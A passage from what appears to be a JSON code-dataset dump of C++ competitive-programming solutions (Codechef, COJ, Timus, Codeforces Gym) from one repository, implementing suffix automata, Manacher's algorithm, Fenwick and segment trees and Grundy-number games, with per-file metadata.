}\n else{\n if( !(( i / 2 ) & 1) ){ // east\n l[i] = line( p.second , par( p.first+1 , p.first + a ) );\n p.first += a;\n }\n else{ //west\n l[i] = line( p.second , par( p.first-1 , p.first - a ) );\n p.first -= a;\n }\n }\n }\n\n int i = 0;\n for( ; i < n; i++ ){\n if( !ok( l[i] , (i & 1) ) ){\n cout << i << '\\n';\n break;\n }\n\n addline( l[i] , (i & 1) );\n }\n\n if( i == n ){\n cout << \"OK\\n\";\n }\n }\n}\n" }, { "alpha_fraction": 0.3936464190483093, "alphanum_fraction": 0.42403313517570496, "avg_line_length": 16.214284896850586, "blob_id": "9b432017b22bb6f48ac0f8d947a73322213da3da", "content_id": "1498581e4b622f4bd146b967a7ecbdca4b6a4253", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 724, "license_type": "no_license", "max_line_length": 47, "num_lines": 42, "path": "/Codechef/CHEFELEC.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 100005;\n\nint t;\nint n;\nstring s;\nlong long x[N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n >> s;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tcin >> x[i];\n\t\t}\n\t\tvector <int> v;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tif (s[i] == '1') {\n\t\t\t\tv.push_back(i);\n\t\t\t}\n\t\t}\n\t\tlong long ans = 0;\n\t\tans += x[v[0]] - x[0];\n\t\tans += x[n - 1] - x[v.back()];\n\t\tfor (int i = 0; i + 1 < (int)v.size(); i++) {\n\t\t\tif (v[i] + 1 == v[i + 1]) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t\tlong long best = 0;\n\t\t\tfor (int j = v[i]; j < v[i + 1]; j++) {\n\t\t\t\tbest = max(best, x[j + 1] - x[j]);\n\t\t\t}\n\t\t\tans += x[v[i + 1]] - x[v[i]] - best;\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.361623615026474, "alphanum_fraction": 0.3819188177585602, "avg_line_length": 22.636363983154297, "blob_id": "4a9b59ef3560f0062aab3eb6d3b1e255a68692ee", "content_id": "439d06a97193b675c7acef9485bfc258c7b3c622", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 542, "license_type": "no_license", "max_line_length": 56, "num_lines": 22, "path": "/COJ/eliogovea-cojAC/eliogovea-p1762-Accepted-s469391.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<iostream>\r\n#include<cstring>\r\nusing namespace std;\r\n\r\nchar a[30],b[30];\r\nint pa,pb;\r\n\r\nint main(){\r\n cin >> a >> b;\r\n int la=strlen(a),lb=strlen(b);\r\n for(int i=la-1; i>=0; i--)\r\n for(int j=lb-1; j>=0; j--)if(a[i]==b[j]){pa=i;pb=j;}\r\n for(int i=0; i<lb; i++){\r\n for(int j=0; j<la; j++){\r\n if(j==pa)cout << b[i];\r\n else if(i==pb)cout << a[j];\r\n else cout << '.';\r\n }\r\n cout << endl;\r\n }\r\n return 0;\r\n }\r\n" }, { "alpha_fraction": 0.39801543951034546, "alphanum_fraction": 0.43660420179367065, "avg_line_length": 17.510204315185547, "blob_id": "076d3cee03fc90419cf626d55e121a510380603c", "content_id": "7dcfd0f5b1d30f493c95f00d156ba73b50ac533e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 907, "license_type": "no_license", "max_line_length": 67, "num_lines": 49, "path": "/Codeforces-Gym/101137 - 2016-2017 ACM-ICPC, NEERC, Moscow Subregional Contest/L.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// 2016-2017 ACM-ICPC, NEERC, Moscow Subregional Contest\n// 101137L\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntypedef long double LD;\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcout.precision(16);\n\t//freopen(\"dat.txt\", \"r\", stdin);\n\tint n;\n\tcin >> n;\n\tn *= 2;\n\tvector <char> op(n);\n\tvector <int> t(n);\n\tfor (int i = 0; i < n; i++) {\n\t\tcin >> op[i] >> t[i];\n\t}\n\tvector <int> C(n, 0);\n\tint sum = 0;\n\tfor (int i = 0; i < n; i++) {\n\t\tif (op[i] == '+') {\n\t\t\tsum++;\n\t\t} else {\n\t\t\tC[i] = sum;\n\t\t\tsum--;\n\t\t}\n\t}\n\tLD A = 0.0;\n\tLD B = 0.0;\n\tvector <LD> ans(n);\n\tfor (int i = n - 1; i >= 0; i--) {\n\t\tif (op[i] == '-') {\n\t\t\tA = A * ((LD)(C[i] - 1.0) / (LD)C[i]) + ((LD)t[i]) / ((LD)C[i]);\n\t\t\tB = B * ((LD)(C[i] - 1.0) / (LD)C[i]) + 1.0 / ((LD)C[i]);\n\t\t} else {\n\t\t\tans[i] = A - ((LD)t[i]) * B;\n\t\t}\n\t}\n\tfor (int i = 0; i < n; i++) {\n\t\tif (op[i] == '+') {\n\t\t\tcout << fixed << ans[i] << \"\\n\";\n\t\t}\n\t}\n}\n" }, { "alpha_fraction": 0.483162522315979, "alphanum_fraction": 0.5344070196151733, "avg_line_length": 15.973684310913086, "blob_id": "088e4ad9c9cf1697ceefa79ca2949d578b47d4e1", "content_id": "fca5ee57312ea0fc6f2c5183a47be2760c883c22", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 683, "license_type": "no_license", "max_line_length": 79, "num_lines": 38, "path": "/COJ/eliogovea-cojAC/eliogovea-p1368-Accepted-s544782.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include<cstdio>\r\n#include<iostream>\r\n#include<algorithm>\r\n#include<cmath>\r\n#include<vector>\r\nusing namespace std;\r\n\r\n\r\nint n;\r\ndouble pts[15][2],G[15][15];\r\ndouble ans=1e9;\r\nvector<int> v;\r\n\r\ndouble dist(double x1, double y1, double x2, double y2)\r\n{\r\n\treturn sqrt((x2-x1)*(x2-x1)+(y2-y1)*(y2-y1));\r\n}\r\n\r\nint main()\r\n{\r\n\tscanf(\"%d\",&n);\r\n\tv.resize(n);\r\n\tfor(int i=0; i<n; i++)\r\n\t{\r\n\t\tscanf(\"%lf%lf\",&pts[i][0],&pts[i][1]);\r\n\t\tv[i]=i;\r\n\t}\r\n\r\n\tdo\r\n\t{\r\n\t\tdouble aux=0.0;\r\n\t\tfor(int i=0; i<n-1; i++)\r\n aux+=dist(pts[v[i]][0],pts[v[i]][1],pts[v[i+1]][0],pts[v[i+1]][1]);\r\n ans=min(ans,aux);\r\n\t}while(next_permutation(v.begin(),v.end()));\r\n\r\n\tprintf(\"%.2lf\\n\",ans);\r\n}\r\n" }, { "alpha_fraction": 0.39676111936569214, "alphanum_fraction": 0.4170040488243103, "avg_line_length": 14.903225898742676, "blob_id": "6dee2f24b28bb91909b4835de1a23259a65bedb3", "content_id": "86dd500d70d0517a2dfa051a8f670e152885fd3a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 494, "license_type": "no_license", "max_line_length": 54, "num_lines": 31, "path": "/Codechef/MSTEP.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 501;\n\nint t, n;\nint x[N * N];\nint y[N * N];\nint m[N][N];\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n;\n\t\tfor (int i = 0; i < n; i++) {\n\t\t\tfor (int j = 0; j < n; j++) {\n\t\t\t\tcin >> m[i][j];\n\t\t\t\tx[m[i][j]] = i;\n\t\t\t\ty[m[i][j]] = j;\n\t\t\t}\n\t\t}\n\t\tlong long ans = 0;\n\t\tfor (int i = 2; i <= n * n; i++) {\n\t\t\tans += abs(x[i] - x[i - 1]) + abs(y[i] - y[i - 1]);\n\t\t}\n\t\tcout << ans << \"\\n\";\n\t}\n}\n\n" }, { "alpha_fraction": 0.5185185074806213, "alphanum_fraction": 0.5400462746620178, "avg_line_length": 23.280702590942383, "blob_id": "222c5baac363d4cf303f65859e8e654de91e8810", "content_id": "d6194f1fdc462cd24ad582fe05c928ca6a6fbfb2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 4320, "license_type": "no_license", "max_line_length": 151, "num_lines": 171, "path": "/Timus/1960-7224545.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1960\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\r\n\r\nusing namespace std;\r\n\r\ninline vector<int> manacher(string &s) {\r\n int n = s.size();\r\n vector<int> u(n <<= 1, 0);\r\n for (int i = 0, j = 0, k; i < n; i += k, j = std::max(j - k, 0)) {\r\n while (i >= j && i + j + 1 < n && s[(i - j) >> 1] == s[(i + j + 1) >> 1]) ++j;\r\n for (u[i] = j, k = 1; i >= k && u[i] >= k && u[i - k] != u[i] - k; ++k) {\r\n u[i + k] = std::min(u[i - k], u[i] - k);\r\n }\r\n }\r\n return u;\r\n}\r\n\r\nnamespace SuffixAutomaton {\r\n\tconst int MAXL = 2 * 100000 + 5;\r\n\tconst int SIZE = 2 * MAXL + 1;\r\n\r\n\tint length[SIZE];\r\n\tmap <char, int> next[SIZE];\r\n\tint suffixLink[SIZE];\r\n\tint firstPos[SIZE];\r\n\tint size;\r\n\tint last;\r\n\r\n\tinline int getNew(int _length, int _firstPos) {\r\n\t\tlength[size] = _length;\r\n\t\tnext[size] = map <char, int> ();\r\n\t\tsuffixLink[size] = -1;\r\n\t\tfirstPos[size] = _firstPos;\r\n\t\treturn size++;\r\n\t}\r\n\r\n\tinline int getClone(int from, int _length) {\r\n\t\tlength[size] = _length;\r\n\t\tnext[size] = next[from];\r\n\t\tsuffixLink[size] = suffixLink[from];\r\n\t\tfirstPos[size] = firstPos[from];\r\n\t\treturn size++;\r\n\t}\r\n\r\n\tinline void init() {\r\n\t\tsize = 0;\r\n\t\tlast = getNew(0, 0);\r\n\t}\r\n\r\n\tinline void add(char c, int pos) {\r\n\t\tint p = last;\r\n\t\tint cur = getNew(length[p] + 1, pos);\r\n\t\twhile (p != -1 && next[p].find(c) == next[p].end()) {\r\n\t\t\tnext[p][c] = cur;\r\n\t\t\tp = suffixLink[p];\r\n\t\t}\r\n\t\tif (p == -1) {\r\n\t\t\tsuffixLink[cur] = 0;\r\n\t\t} else {\r\n\t\t\tint q = next[p][c];\r\n\t\t\tif (length[p] + 1 == length[q]) {\r\n\t\t\t\tsuffixLink[cur] = q;\r\n\t\t\t} else {\r\n\t\t\t\tint clone = getClone(q, length[p] + 1);\r\n\t\t\t\tsuffixLink[q] = clone;\r\n\t\t\t\tsuffixLink[cur] = clone;\r\n\t\t\t\twhile (p != -1 && next[p][c] == q) {\r\n\t\t\t\t\tnext[p][c] = clone;\r\n\t\t\t\t\tp = suffixLink[p];\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\tlast = cur;\r\n\t}\r\n}\r\n\r\nnamespace FenwickTree {\r\n\tconst int MAXL = 2 * 100000 + 5;\r\n\tconst int SIZE = 2 * MAXL + 1;\r\n\r\n\tint size;\r\n\tint vals[SIZE];\r\n\r\n\tinline void init(int _size) {\r\n\t\tsize = _size;\r\n\t\tfor (int i = 0; i <= size; i++) {\r\n\t\t\tvals[i] = 0;\r\n\t\t}\r\n\t}\r\n\r\n\tinline void update(int pos, int val) {\r\n\t\twhile (pos <= size) {\r\n\t\t\tvals[pos] += val;\r\n\t\t\tpos += pos & -pos;\r\n\t\t}\r\n\t}\r\n\r\n\tinline int get(int pos) {\r\n\t\tint res = 0;\r\n\t\twhile (pos > 0) {\r\n\t\t\tres += vals[pos];\r\n\t\t\tpos -= pos & -pos;\r\n\t\t}\r\n\t\treturn res;\r\n\t}\r\n\r\n\tinline int get(int l, int r) {\r\n\t\treturn get(r) - get(l - 1);\r\n\t}\r\n}\r\n\r\nconst int MAXL = 100000 + 5;\r\n\r\nstring s;\r\n\r\nvector <int> removeEvents[2 * MAXL];\r\n\r\nint main() {\r\n\tios::sync_with_stdio(false);\r\n\tcin.tie(0);\r\n\r\n\tcin >> s;\r\n\r\n\tSuffixAutomaton::init();\r\n\tFenwickTree::init(2 * s.size() - 1);\r\n\r\n\tint lastCenter = -1;\r\n\tlong long currentAnswer = 0;\r\n\r\n\tvector <int> maxPal = manacher(s);\r\n /// !!! el centro de la cadena entre los indices [l, r] esta en l + r\r\n\tfor (int i = 0; i < s.size(); i++) {\r\n\t\tSuffixAutomaton::add(s[i], i);\r\n\t\twhile (lastCenter + 1 <= 2 * i) {\r\n\t\t\t/// remove events lastCenter\r\n\t\t\tif (lastCenter != -1) {\r\n\t\t\t\tfor (int j = 0; j < removeEvents[lastCenter].size(); j++) {\r\n\t\t\t\t\tFenwickTree::update(removeEvents[lastCenter][j] + 1, -1);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tlastCenter++;\r\n\t\t\tif (lastCenter & 1) { // centro de un palindrome de largo par\r\n\t\t\t\tint length = (maxPal[lastCenter] + 1) / 2;\r\n\t\t\t\t//cerr << lastCenter << \" \" << length << \"\\n\";\r\n\t\t\t\tif (length != 0) { // centro de un palindrome de largo impar\r\n\t\t\t\t\t/// pongo cuando debo desactivar este estado porque de ahi en\r\n\t\t\t\t\t/// adelante no genera palindromes\r\n\t\t\t\t\tFenwickTree::update(lastCenter + 1, 1);\r\n\t\t\t\t\tremoveEvents[2 * ((lastCenter / 2) + length)].push_back(lastCenter);\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\tint length = (maxPal[lastCenter] + 1) / 2;\r\n\t\t\t\tif (length != 0) {\r\n\t\t\t\t\tFenwickTree::update(lastCenter + 1, 1);\r\n\t\t\t\t\tremoveEvents[2 * ((lastCenter / 2) + length - 1)].push_back(lastCenter);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t\t/// el nuevo estado (last) acepta las cadenas desde largo i + 1 (la cadena completa hasta el caracter actual) hasta el largo que aceta su suffix link\r\n\t\t/// el primer centro sera el de la cadena completa que esta en i + 0\r\n\t\t/// el ultimo centro sera el de la minima cadena que acpta ese estado\r\n\t\tcurrentAnswer += FenwickTree::get(i + 0 + 1, i + (i - SuffixAutomaton::length[SuffixAutomaton::suffixLink[SuffixAutomaton::last]]) + 1);\r\n\t\tcout << currentAnswer;\r\n\t\tif (i + 1 < s.size()) {\r\n\t\t\tcout << \" \";\r\n\t\t}\r\n\t}\r\n\tcout << \"\\n\";\r\n}\r\n" }, { "alpha_fraction": 0.33750447630882263, "alphanum_fraction": 0.38791561126708984, "avg_line_length": 18.020408630371094, "blob_id": "065f4ba9923b8b65fdaf15c673105d3e163679b5", "content_id": "33c792a057842889f812d9c17932b630e11ad7b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2797, "license_type": "no_license", "max_line_length": 69, "num_lines": 147, "path": "/Codechef/PSHTBRTH.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\n\nusing namespace std;\n\nconst int N = 4;\nconst int N2 = N * N;\n\nint t;\nint n, m;\nstring s;\n\nint val[N + 2][N + 2][N + 2][N + 2];\nint bits[(1 << N2) + 5];\nint grundy[(1 << N2) + 5];\nint used[(1 << N2) + 5];\n\nconst int MAX = 100 * 1000 + 10;\n\nint arr[MAX];\nint st[4 * MAX];\n\nvoid build(int x, int l, int r) {\n\tif (l == r) {\n\t\tst[x] = arr[l];\n\t} else {\n\t\tint mid = (l + r) >> 1;\n\t\tbuild(2 * x, l, mid);\n\t\tbuild(2 * x + 1, mid + 1, r);\n\t\tst[x] = st[2 * x] ^ st[2 * x + 1];\n\t}\n}\n\nvoid update(int x, int l, int r, int p, int v) {\n\tif (p < l || p > r) {\n\t\treturn;\n\t}\n\tif (l == r) {\n\t\tst[x] = v;\n\t} else {\n\t\tint mid = (l + r) >> 1;\n\t\tupdate(2 * x, l, mid, p, v);\n\t\tupdate(2 * x + 1, mid + 1, r, p, v);\n\t\tst[x] = st[2 * x] ^ st[2 * x + 1];\n\t}\n}\n\nint query(int x, int l, int r, int ql, int qr) {\n\tif (qr < l || r < ql) {\n\t\treturn 0;\n\t}\n\tif (ql <= l && r <= qr) {\n\t\treturn st[x];\n\t}\n\tint mid = (l + r) >> 1;\n\tint q1 = query(2 * x, l, mid, ql, qr);\n\tint q2 = query(2 * x + 1, mid + 1, r, ql, qr);\n\treturn q1 ^ q2;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tbits[0] = 0;\n\tfor (int i = 1; i < (1 << N2); i++) {\n\t\tbits[i] = bits[i ^ (i & -i)] + 1;\n\t}\n\n\tfor (int x1 = 0; x1 < N; x1++) {\n\t\tfor (int x2 = x1; x2 < N; x2++) {\n\t\t\tfor (int y1 = 0; y1 < N; y1++) {\n\t\t\t\tfor (int y2 = y1; y2 < N; y2++) {\n\t\t\t\t\tfor (int i = 0; i < N2; i++) {\n\t\t\t\t\t\tint x = i / N;\n\t\t\t\t\t\tint y = i % N;\n\t\t\t\t\t\tif (x1 <= x && x <= x2 && y1 <= y && y <= y2) {\n\t\t\t\t\t\t\tval[x1][x2][y1][y2] |= (1 << i);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tint allOnes = (1 << N2) - 1;\n\n\tgrundy[0] = 0;\n\tfor (int mask = 1; mask < (1 << N2); mask++) {\n\t\tfor (int x1 = 0; x1 < N; x1++) {\n\t\t\tfor (int x2 = x1; x2 < N; x2++) {\n\t\t\t\tfor (int y1 = 0; y1 < N; y1++) {\n\t\t\t\t\tfor (int y2 = y1; y2 < N; y2++) {\n\t\t\t\t\t\tif ((mask & val[x1][x2][y1][y2]) == val[x1][x2][y1][y2]) {\n\t\t\t\t\t\t\tused[grundy[mask & (allOnes ^ val[x1][x2][y1][y2])]] = mask;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tgrundy[mask] = 0;\n while (used[grundy[mask]] == mask) {\n grundy[mask]++;\n }\n\t}\n\n\tcin >> t;\n\twhile (t--) {\n\t\tcin >> n >> m;\n\t\tfor (int i = 1; i <= n; i++) {\n\t\t\tint v = 0;\n\t\t\tfor (int j = 0; j < N; j++) {\n\t\t\t\tcin >> s;\n\t\t\t\tfor (int k = 0; k < N; k++) {\n\t\t\t\t\tif (s[k] == '1') {\n\t\t\t\t\t\tint pos = j * N + k;\n\t\t\t\t\t\tv |= (1 << pos);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tarr[i] = grundy[v];\n\t\t}\n\t\tbuild(1, 1, n);\n\t\twhile (m--) {\n\t\t\tint ty;\n\t\t\tcin >> ty;\n\t\t\tif (ty == 1) {\n\t\t\t\tint l, r;\n\t\t\t\tcin >> l >> r;\n\t\t\t\tcout << (query(1, 1, n, l, r) != 0 ? \"Pishty\" : \"Lotsy\") << \"\\n\";\n\t\t\t} else {\n\t\t\t\tint p;\n\t\t\t\tcin >> p;\n\t\t\t\tint v = 0;\n\t\t\t\tfor (int i = 0; i < N; i++) {\n\t\t\t\t\tcin >> s;\n\t\t\t\t\tfor (int j = 0; j < N; j++) {\n\t\t\t\t\t\tif (s[j] == '1') {\n\t\t\t\t\t\t\tint pos = i * N + j;\n\t\t\t\t\t\t\tv |= (1 << pos);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tupdate(1, 1, n, p, grundy[v]);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\n" }, { "alpha_fraction": 0.44220036268234253, "alphanum_fraction": 0.4621312916278839, "avg_line_length": 17.536945343017578, "blob_id": "ebb4a62b09713edfe85e13f8a975542d054b1be3", "content_id": "ee7dd7c1ed769f1537cd5e93684c52c8e7fe4e52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 3763, "license_type": "no_license", "max_line_length": 79, "num_lines": 203, "path": "/Timus/1937-8088887.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "// Problem: pace=1&num=1937\n// Verdict: Accepted\n\n#include <bits/stdc++.h>\n\nusing namespace std;\n\ntemplate <class T, int S>\nstruct suffixAutomaton {\n\tint length[S];\n\tmap <T, int> go[S];\n\tint suffixLink[S];\n\n\tint firstPos[S];\n\n\tint root;\n\tint size;\n\tint last;\n\n\tint freq[S];\n\tint order[S];\n\n\tsuffixAutomaton() {\n\t\tinit();\n\t}\n\n\tvoid init() {\n\t\tsize = 0;\n\t\troot = last = getNew(0, -1);\n\t}\n\n\tint getNew(int _length, int _firstPos) {\n\t\tlength[size] = _length;\n\t\tgo[size].clear();\n\t\tsuffixLink[size] = -1;\n\n\t\tfirstPos[size] = _firstPos;\n\n\t\treturn size++;\n\t}\n\n\tint getClone(int from, int _length) {\n\t\tlength[size] = _length;\n\t\tgo[size] = go[from];\n\t\tsuffixLink[size] = suffixLink[from];\n\n\t\tfirstPos[size] = firstPos[from];\n\n\t\treturn size++;\n\t}\n\n\tvoid add(T c, int _firstPos) {\n\t\tint p = last;\n\t\tif (go[p].find(c) != go[p].end()) {\n\t\t\tint q = go[p][c];\n\t\t\tif (length[p] + 1 == length[q]) {\n\t\t\t\tlast = q;\n\t\t\t} else {\n\t\t\t\tlast = getClone(q, length[p] + 1);\n\t\t\t\tsuffixLink[q] = last;\n\t\t\t\twhile (p != -1 && go[p][c] == q) {\n\t\t\t\t\tgo[p][c]= last;\n\t\t\t\t\tp = suffixLink[p];\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tlast = getNew(length[p] + 1, _firstPos);\n\t\t\twhile (p != -1 && go[p].find(c) == go[p].end()) {\n\t\t\t\tgo[p][c] = last;\n\t\t\t\tp = suffixLink[p];\n\t\t\t}\n\t\t\tif (p == -1) {\n\t\t\t\tsuffixLink[last] = root;\n\t\t\t} else {\n\t\t\t\tint q = go[p][c];\n\t\t\t\tif (length[p] + 1 == length[q]) {\n\t\t\t\t\tsuffixLink[last] = q;\n\t\t\t\t} else {\n\t\t\t\t\tint cq = getClone(q, length[p] + 1);\n\t\t\t\t\tsuffixLink[q] = cq;\n\t\t\t\t\tsuffixLink[last] = cq;\n\t\t\t\t\twhile (p != -1 && go[p][c] == q) {\n\t\t\t\t\t\tgo[p][c] = cq;\n\t\t\t\t\t\tp = suffixLink[p];\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tvoid _sort() {\n\t\tint mx = *max_element(length, length + size);\n\t\tfor (int i = 0; i <= mx; i++) {\n\t\t\tfreq[i] = 0;\n\t\t}\n\t\tfor (int s = 0; s < size; s++) {\n\t\t\tfreq[length[s]]++;\n\t\t}\n\t\tfor (int i = 1; i <= mx; i++) {\n\t\t\tfreq[i] += freq[i - 1];\n\t\t}\n\t\tfor (int s = size - 1; s >= 0; s--) {\n\t\t\torder[--freq[length[s]]] = s;\n\t\t}\n\t}\n\n};\n\nconst int SIZE = 4 * 100 * 1000 + 10;\n\nsuffixAutomaton <char, SIZE> sa;\n\ntemplate <class T>\nvector <int> manacher(const T & s, int n) {\n\tvector <int> len(2 * n - 1);\n\tfor (int i = 0, l = 0, r = -1; i < 2 * n - 1; i++) {\n\t\tint x = (i + 1) >> 1, y = i >> 1, z = 0;\n\t\tif (x < r) {\n\t\t\tz = min(len[2 * (l + r) - i], r - x);\n\t\t}\n\t\twhile (0 <= x - z - 1 && y + z + 1 < n && s[x - z - 1] == s[y + z + 1]) {\n\t\t\tz++;\n\t\t}\n\t\tlen[i] = z;\n\t\tif (y + z >= r) {\n\t\t\tl = x - z;\n\t\t\tr = y + z;\n\t\t}\n\t}\n\treturn len;\n}\n\nbool isPalindrome(int l, int r, const vector <int> & len) {\n\tint x = (l + r + 1) >> 1, y = (l + r) >> 1, z = len[l + r];\n\treturn x - z <= l && r <= y + z;\n}\nbool solve(string a, string b, int & pa, int & pb) {\n\tint na = a.size();\n\ta = a + a;\n\t// a = a.substr(0, a.size() - 1);\n\n\tauto ra = manacher(a, a.size());\n\n\treverse(b.begin(), b.end());\n\tint nb = b.size();\n\tb = b + b;\n\tb = b.substr(0, b.size() - 1);\n\n\tsa.init();\n\n\tfor (int i = 0; i < b.size(); i++) {\n\t\tsa.add(b[i], i);\n\t}\n\n\tint s = sa.root;\n\tint l = 0;\n\n\tfor (int i = 0; i + (na - nb) < (int)a.size(); i++) {\n\t\twhile (s != -1 && sa.go[s].find(a[i]) == sa.go[s].end()) {\n\t\t\ts = sa.suffixLink[s];\n\t\t\tif (s != -1) {\n\t\t\t\tl = sa.length[s];\n\t\t\t}\n\t\t}\n\t\tif (s == -1) {\n\t\t\tl = 0;\n\t\t\ts = sa.root;\n\t\t} else {\n\t\t\tl++;\n\t\t\ts = sa.go[s][a[i]];\n\t\t}\n\n\t\tif (l >= nb && isPalindrome(i + 1, i + (na - nb), ra)) {\n\t\t\tpa = i - nb + 1;\n\t\t\tpb = sa.firstPos[s];\n\t\t\tif (pb >= nb) {\n\t\t\t\tpb -= nb;\n\t\t\t}\n\t\t\tpb = nb - 1 - pb;\n\t\t\tif (pa + na - 1 < (int)a.size() && isPalindrome(pa + nb, pa + na - 1, ra)) {\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t}\n\treturn false;\n}\n\nint main() {\n\tios::sync_with_stdio(false);\n\tcin.tie(0);\n\n\tstring a, b;\n\tcin >> a >> b;\n\n\tint pa, pb;\n\tif (solve(a, b, pa, pb)) {\n\t\tassert(0 <= pa && pa < (int)a.size());\n\t\tcout << \"Yes\\n\";\n\t\tcout << pa + 1 << \" \" << pb + 1 << \"\\n\";\n\t} else {\n\t\tcout << \"No\\n\";\n\t}\n}\n" }, { "alpha_fraction": 0.39024388790130615, "alphanum_fraction": 0.4356984496116638, "avg_line_length": 19.4761905670166, "blob_id": "98359e0bb0ac44eb71e7510fa34301a41b1a6891", "content_id": "070fa67d79ec740cc768966c34e52a6053297973", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 902, "license_type": "no_license", "max_line_length": 62, "num_lines": 42, "path": "/COJ/eliogovea-cojAC/eliogovea-p2939-Accepted-s652132.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <iostream>\r\n\r\nusing namespace std;\r\n\r\nint tc, dig[100005];\r\nstring str;\r\n\r\nint main() {\r\n\tcin >> tc;\r\n\twhile (tc--) {\r\n\t\tstr.clear();\r\n\t\tfor (int i = 0; i < 100005; i++) dig[i] = 0;\r\n\t\tcin >> str;\r\n\t\tint lo = 0, hi = str.size();\r\n\t\tfor (int i = 0; i < hi; i++) dig[i] = str[hi - 1 - i] - '0';\r\n\t\tint cero = 0, uno = 0;\r\n\t\twhile (true) {\r\n\t\t\tif (lo == hi) break;\r\n\t\t\tint carry = 0, aux = dig[lo];\r\n\t\t\tfor (int i = lo + 1; i < hi; i++) {\r\n\t\t\t\tcarry += 5 * dig[i];\r\n\t\t\t\tdig[i] = carry % 10;\r\n\t\t\t\tcarry /= 10;\r\n\t\t\t}\r\n\t\t\twhile (carry) {\r\n\t\t\t\tdig[hi++] = carry % 10;\r\n\t\t\t\tcarry /= 10;\r\n\t\t\t}\r\n\t\t\tif (dig[lo] & 1) uno = 1;\r\n\t\t\telse cero = 1;\r\n\t\t\tif (cero && uno) break;\r\n\t\t\tcarry = dig[lo++] / 2;\r\n\t\t\tfor (int i = lo; carry; carry /= 10) {\r\n\t\t\t\tcarry += dig[i];\r\n\t\t\t\tdig[i] = carry % 10;\r\n\t\t\t\tif (i + 1 > hi) hi = i + 1;\r\n\t\t\t}\r\n\t\t}\r\n\t\tif (cero && uno) cout << \"YES\\n\";\r\n\t\telse cout << \"NO\\n\";\r\n\t}\r\n}\r\n" }, { "alpha_fraction": 0.3528957664966583, "alphanum_fraction": 0.3922779858112335, "avg_line_length": 17.621212005615234, "blob_id": "4032a6200b0d0504d6fd28c6fb70e51960de46ec", "content_id": "73486018192a82590e4b0c1e17126c08d4cac82d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 1295, "license_type": "no_license", "max_line_length": 68, "num_lines": 66, "path": "/COJ/eliogovea-cojAC/eliogovea-p2926-Accepted-s628101.cpp", "repo_name": "eliogovea/solutions_cp", "src_encoding": "UTF-8", "text": "#include <bits/stdc++.h>\r\nusing namespace std;\r\n\r\ntypedef long long ll;\r\n\r\nconst ll mod = 10007;\r\n\r\nconst int SIZE = 3;\r\n\r\nstruct mat {\r\n\tll m[SIZE][SIZE];\r\n\tvoid idem() {\r\n\t\tfor (int i = 0; i < SIZE; i++)\r\n\t\t\tfor (int j = 0; j < SIZE; j++)\r\n\t\t\t\tm[i][j] = (ll)(i == j);\r\n\t}\r\n\tvoid nul() {\r\n\t\tfor (int i = 0; i < SIZE; i++)\r\n\t\t\tfor (int j = 0; j < SIZE; j++)\r\n\t\t\t\tm[i][j] = 0;\r\n\t}\r\n\tvoid ut() {\r\n\t\tm[0][0] = 2; m[0][1] = 1; m[0][2] = 0;\r\n\t\tm[1][0] = 2; m[1][1] = 0; m[1][2] = 1;\r\n\t\tm[2][0] = 2; m[2][1] = 0; m[2][2] = 0;\r\n\t}\r\n\tmat operator * (const 